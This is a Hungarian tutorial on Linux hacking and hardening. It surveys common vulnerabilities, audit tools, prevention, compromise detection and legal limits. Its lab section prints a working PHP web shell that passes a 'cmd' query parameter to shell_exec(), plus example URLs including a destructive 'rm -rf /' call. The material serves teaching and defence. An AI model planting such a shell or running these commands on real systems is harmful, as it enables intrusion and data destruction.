Linux hackelési oktatóanyag: Ubuntu Parancsok és eszközök
⚡ Okos összefoglaló
A Linux hackelés a Linux rendszerek gyengeségeinek felkutatását és kihasználását jelenti, és ez az oldal ismerteti a támadók által célba vett sebezhetőségeket, a használt auditeszközöket és a szerver védelmét biztosító vezérlőket.

A Linux a legszélesebb körben használt szerver operációs rendszer, különösen webszerverek esetében. Nyílt forráskódú, ami azt jelenti, hogy bárki elolvashatja a forráskódot. Ez az átláthatóság mindkét irányban előnyös: a karbantartók a hibák gyors megtalálására és javítására használják, míg a támadók ugyanazt a kódot tanulmányozzák, és gyengeségeket keresnek, amelyeket kihasználhatnak. A Linux hackelés az a gyakorlat, amikor ezeket a gyengeségeket kihasználva jogosulatlan hozzáférést szereznek egy rendszerhez.
Az alábbi részek bemutatják, hogy mi is a Linux, a rá hatással lévő biztonsági réseket, valamint a hackelés gyakorlati bemutatását. Ubuntu, és az ellenintézkedéseket, amelyeket életbe léptethet.
Gyors megjegyzés Linuxon
A Linux egy nyílt forráskódú operációs rendszer. Számos disztribúció épül rá, beleértve a Red Hat Enterprise Linux, Fedora, Debian és UbuntuMivel a forráskód nyilvános, a kutatók, a szállítók és a támadók mind megvizsgálhatják. A támadók ezt a hozzáférést használják kihasználható hibák keresésére, míg ugyanez a láthatóság lehetővé teszi a karbantartók számára, hogy gyorsabban szállítsanak javításokat, mint ahogy azt a zárt platformok gyakran képesek. A Linux szerverként, asztali számítógépként, táblagépként vagy mobileszköz operációs rendszerként fut.
A Linux programok grafikus felületen vagy parancssorból is futtathatók. A parancssori munka gyorsabb és pontosabb, mint a grafikus felhasználói felületen kattintgatni, ezért a biztonsági tesztelők, akik olyan disztribúciókon dolgoznak, mint a Kali Linux szinte minden idejüket terminálban töltik. Az alapvető parancsok ismerete ezért gyakorlati előfeltétel.
Erre hivatkozni Linux oktatóanyag az alapokhoz, és a Kali Linux oktatói a rájuk épített, biztonságra összpontosító disztribúcióhoz.
Gyakori Linux biztonsági sebezhetőségek és támadási vektorok
A Linux elleni támadások ritkán támaszkodnak egzotikus biztonsági résekre. A 2025-ben és 2026-ban publikált telemetriai adatok azt mutatják, hogy a legtöbb behatolás... tracvisszatérő gyengeségek kis csoportjához, és ezek ismerete megmutatja, hogy hol kell először védekezni.
- Gyenge vagy újrafelhasznált SSH hitelesítő adatok – A Linux végpontokon megfigyelt ellenséges tevékenységek túlnyomó többségét az internetre mutató SSH elleni nyers erővel és hitelesítő adatokkal való visszaélési kísérletek teszik ki.
- Nem javított kernel- és csomaghibák – a Linux kernel csapata 2024-ben CVE számozási hatósággá vált, és a bejelentett kernel CVE-k száma a 2023-as nagyjából 290-ről a következő évben több mint 3,500-ra emelkedett, így a javítások elmaradása gyorsan felhalmozódik.
- Hibás konfiguráció — az alapértelmezett fiókok, a felesleges démonok, a világ által írható fájlok és a megengedő sudo szabályok olyan jogosultságokat adnak ki, amelyek megszerzéséhez semmilyen exploit nem lett volna szükség.
- Sebezhető webalkalmazások – olyan hibák, mint SQL injektálás A cross-site scripting (cross-site scripting) lehetővé teszi a támadó számára, hogy az alkalmazáson keresztül, ne pedig az operációs rendszeren keresztül érje el a szervert. A web shell-ek a leggyakoribb rosszindulatú elemek, amelyek a feltört Linux szervereken találhatók.
- Privilégium eszkalációs hibák — helyi hibák, amelyek korlátozott fiókot root-tá alakítanak. Néhányuk több mint egy évtizedig észrevétlenül fennmaradt a kernelben a nyilvánosságra hozatal előtt.
- Ellátási lánc és függőségi kockázat — harmadik féltől származó csomagok, nyelvi könyvtárak és konténerképek olyan kódot hívnak be, amelyet az operációs csapat senki sem ellenőrzött.
Ezek egyike sem igényel támadót a Linux legyőzéséhez. A 2025-ös behatolások elemzése azt mutatta, hogy nagyjából négyötödükben semmilyen kártevő nem volt jelen, ehelyett helytelen konfigurációra és ellopott hitelesítő adatokra támaszkodtak.
Linux hackereszközök
A biztonsági tesztelők és a rendszergazdák ugyanazokat a szkennereket használják: az egyik oldal a gyengeségek megtalálására, mielőtt a támadó megtenné, a másik pedig a javítások érvényességének megerősítésére. Az alábbi eszközök a leggyakrabban használt eszközök egy Linux gazdagép auditálására.
| Szerszám | típus | Engedély | Tipikus használat Linuxon |
| Nessus | Sebezhetőségi szkenner | Kereskedelmi | Konfigurációs beállításokat, hiányzó javításokat és hálózati szolgáltatásokat keres vegyes környezetekben. |
| Nmap | Hálózati és portszkenner | Nyílt forráskód | Azonosítja a szerveren futó hosztokat, az általuk elérhető szolgáltatásokat és a nyitott portokat. |
| Lynis | Gazdagép-ellenőrzés és -megerősítés | Nyílt forráskód | Ellenőrzi a futó rendszert a tesztelés során elért eredmények megerősítése érdekében, és jelentést készít a konkrét javítási lépésekről. |
| OpenVAS | Sebezhetőségi szkenner | Nyílt forráskód | Hálózati sebezhetőségi szkennelés, amelyet a Greenbone a közösségi kiadás részeként tart fenn. |
A lista nem teljes; csupán egy áttekintést nyújt az auditáláshoz rendelkezésre álló eszközökről. Ubuntu és más Linux rendszerek. A régebbi útmutatók továbbra is a SARA-t, a Security Auditor's Research Assistant-ot ajánlják, de a végső kiadása 2009-ből származik, és a projekt weboldala offline, így Lynis és OpenVAS a fenntartott alternatívák.
Hackelési tevékenység: Hack a Ubuntu Linux rendszer PHP-t használva
Ebben a gyakorlati forgatókönyvben azt vizsgáljuk meg, hogyan lehet elérni egy Linux hosztot egy webes alkalmazáson keresztül, PHP példáján keresztül. Nincsenek élő áldozatok célozva. Ha ki szeretnéd próbálni, telepítsd a LAMPP-ot, az XAMPP Linux verzióját, a saját gépedre.
PHP két függvénnyel rendelkezik, amelyekkel operációsrendszer-parancsokat lehet futtatni: az exec() és a shell_exec(). Az exec() függvény a parancs kimenetének utolsó sorát adja vissza, míg a shell_exec() a parancs teljes eredményét karakterláncként adja vissza.
Bemutatási célokból tegyük fel, hogy egy támadónak sikerül feltöltenie a következő fájlt egy webszerverre.
<?php $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l'; echo "executing shell command:-> $cmd</br>"; $output = shell_exec($cmd); echo "<pre>$output</pre>"; ?>
ITT,
A fenti szkript a cmd nevű GET változóból veszi a parancsot. A parancs végrehajtása a shell_exec() függvénnyel történik, az eredmény pedig a böngészőben jelenik meg.
A fenti kód a következőképpen hasznosítható URL
http://localhost/cp/konsole.php?cmd=ls%20-l
ITT,
- A „…konsole.php?cmd=ls%20-l” az ls –l értéket rendeli a cmd változóhoz.
A parancs a Ubuntu a szerver ezért a következőképpen fut
shell_exec('ls -l') ;
A fenti kód webszerveren történő végrehajtása a következőhöz hasonló eredményt ad.
A kimenet egyszerűen megjeleníti az aktuális könyvtárban található fájlokat és azok jogosultságait.
Most tegyük fel, hogy a támadó ehelyett a következő parancsot adja át.
rm -rf /
ITT,
- Az „rm” parancs fájlokat távolít el.
- Az „rf” paranccsal az rm parancs rekurzív módban fut, törölve az összes mappát és fájlt.
- A „/” jel arra utasítja a parancsot, hogy a gyökérkönyvtárból kezdje meg a törlést.
A támadás URL valahogy így nézne ki
http://localhost/cp/konsole.php?cmd=rm%20-rf%20/
Egyetlen érvénytelen paraméter tehát elegendő ahhoz, hogy a támadó a webszerver fiók által birtokolt jogosultságokat megkapja. A következő két szakasz célja ennek megakadályozása, valamint a megelőzés kudarca esetén a hiba észlelése.
Hogyan előzhetjük meg a Linux hackeket
A Linux hackelés az operációs rendszer és a rajta futó szoftverek sebezhetőségeit használja ki. Egy szervezet a következő vezérlőelemek együttes alkalmazásával bezárhatja a fent leírt rések nagy részét.
- Javításkezelés – a javítások kijavítják a támadók által a rendszer feltörésére kihasznált hibákat. Egy meghatározott szabályzat biztosítja, hogy a releváns frissítések azonnal alkalmazásra kerüljenek, ne pedig akkor, amikor valaki eszébe jutnak.
- Megfelelő operációs rendszer konfiguráció — inaktív felhasználói fiókok és szükségtelen démonok letiltása. Az alapértelmezett beállítások módosítása, beleértve az alapértelmezett felhasználóneveket, a megosztott alkalmazásjelszavakat és az alapértelmezett portszámokat.
- SSH-keményítés — letiltja a root bejelentkezést és a jelszó-hitelesítést, csak a megnevezett felhasználókat vagy csoportokat engedélyezi, és korlátozza a hitelesítési újrapróbálkozások számát. Ez lezárja a Linuxon a legsúlyosabban támadott belépési pontot.
- A legkisebb kiváltság — csak a szükséges jogokat adja meg a fiókoknak és szolgáltatásoknak, és a sudo parancsot bizonyos parancsokra korlátozza az általános adminisztrátori hozzáférés helyett.
- Kötelező hozzáférés-vezérlés — megtartani az SELinuxot (Red Hat család) vagy az AppArmort (Debian és Ubuntu) kényszerített módban, hogy a veszélyeztetett szolgáltatás ne érhesse el a rendszer többi részét.
- Bemenet érvényesítése — a fenti bemutató csak azért működik, mert a kérés adatai egy shell függvényhez érnek el. Soha ne adj át felhasználói bemenetet az exec() vagy a shell_exec() függvénynek.
- Tűzfalak és szegmentálás — csak azokat a portokat tegye elérhetővé, amelyeket egy szolgáltatásnak valóban szüksége van, egy tűzfal és a hálózati szegmentálás, hogy korlátozza a feltört gazdagép által elérhető tartalmakat.
- Behatolásjelző rendszerek – az ilyen eszközök felhasználhatók a rendszerhez való jogosulatlan hozzáférés észlelésére, és némelyikük blokkolni is tudja a kísérletet.
- Tesztelt biztonsági mentések – az offline, visszaállítható biztonsági mentések a fentihez hasonló romboló parancsokat inkább kieséssé, mintsem állandó veszteséggé változtatják.
Hogyan észlelhető egy feltört Linux rendszer?
A megelőzés végül kudarcot vall, így a második kérdés az, hogy milyen gyorsan vennéd észre. A Linuxon a felderítés a megfelelő bizonyítékok gyűjtésétől függ egy incidens előtt, nem pedig utána.
- Audit naplózás – a kernel audit keretrendszere, az auditd, olyan formában rögzíti a jogosultságok használatát, a fájlhozzáféréseket és a rendszerhívásokat, amelyet egy feltört folyamat nem tud csendben átírni. Ezeket a naplókat továbbítja a gazdagépről egy központi gyűjtőnek.
- Hitelesítési naplók — a klasszikus brute-force protokoll a /var/log/auth.log vagy a /var/log/secure fájlban található hibák sorozatát követő egyetlen sikeres művelet.
- Váratlan folyamatok és kapcsolatok – egy olyan lehallgató szolgáltatás vagy kimenő kapcsolat, amelyről senki sem tud magyarázatot találni, azonnali vizsgálatot érdemel.
- Fájlintegritás figyelése — olyan eszközök, amelyek hash-elik a rendszer bináris fájljait és konfigurációs fájljait, és olyan fájlok módosításait jelölik meg, amelyeknek soha nem szabadna megváltozniuk.
- Ütemezett feladatok és indítási elemek — a perzisztencia általában cron feladatokban, systemd egységekben vagy shell profil szkriptekben landol.
- Új vagy módosított fiókok — keress ismeretlen felhasználókat, bármilyen második, 0 UID-val rendelkező fiókot és senki által hozzáadott SSH-kulcsokat.
- Webszerver könyvtárak – mivel a web shell fájlok a Linux szervereken leggyakrabban előforduló rosszindulatú fájlok, a web root alatt található váratlan szkriptfájlok különös figyelmet érdemelnek.
- Ütemezett auditok — futtasson ütemterv szerint egy gazdaellenőrző eszközt, például a Lynis-t, és kezelje az egyes jelentéseket munkalistaként, ne pedig egyszeri feladatként.
Ha mégis bizonyítékot találsz a kompromittálásra, izoláld a hosztot, őrizd meg a naplókat és a lemezképet, mielőtt bármit is megváltoztatnál, és építsd újra a rendszert ismert, jó minőségű adathordozóról, ahelyett, hogy egy működő rendszert próbálnál megtisztítani. A bizonyítékkezelési oldalát a következő tárgyalja: digitális forenzika.
A Linux hackelés jogi és etikai határai
Az ezen az oldalon található összes technika törvényes a saját tulajdonú vagy írásos engedéllyel rendelkező rendszereken, és szinte mindenhol máshol illegális. A fenti gyakorlat szándékosan a helyi telepítés ellen irányul, pontosan emiatt.
- Írásos felhatalmazás – egy aláírt hatókör, egy egyeztetett tesztidőablak és egy megnevezett kapcsolattartó az, ami megkülönbözteti a behatolási tesztet a bűncselekménytől. A szóbeli jóváhagyás nem elég.
- Maradj a hatókörön belül — A fel nem sorolt hosztok, címtartományok és technikák használata nem megengedett, még akkor sem, ha elérhetők.
- Óvatosan kezelje az adatokat – a teszt során gyűjtött bizonyítékok továbbra is valódi személyes adatokat tartalmaznak, ezért biztonságosan kell tárolni, majd utána meg kell semmisíteni.
- Felelősségteljes bejelentés — a megállapításokat tájékoztassa a tulajdonosról, és a közzététel előtt hagyjon időt a javításra.
A jogi kockázat valós: a számítógépes rendszerhez való jogosulatlan hozzáférés bűncselekmény olyan törvények értelmében, mint az Egyesült Államok Számítógépes Csalás és Visszaélés Elleni Törvénye és az Egyesült Királyság Számítógépes Visszaélés Elleni Törvénye. Ha ezekre a készségekre építve szeretne karriert építeni, válasszon egy elismert utat – egy… biztonsági tanúsítvány plusz egy saját laboratórium, nem pedig valaki más szervere.

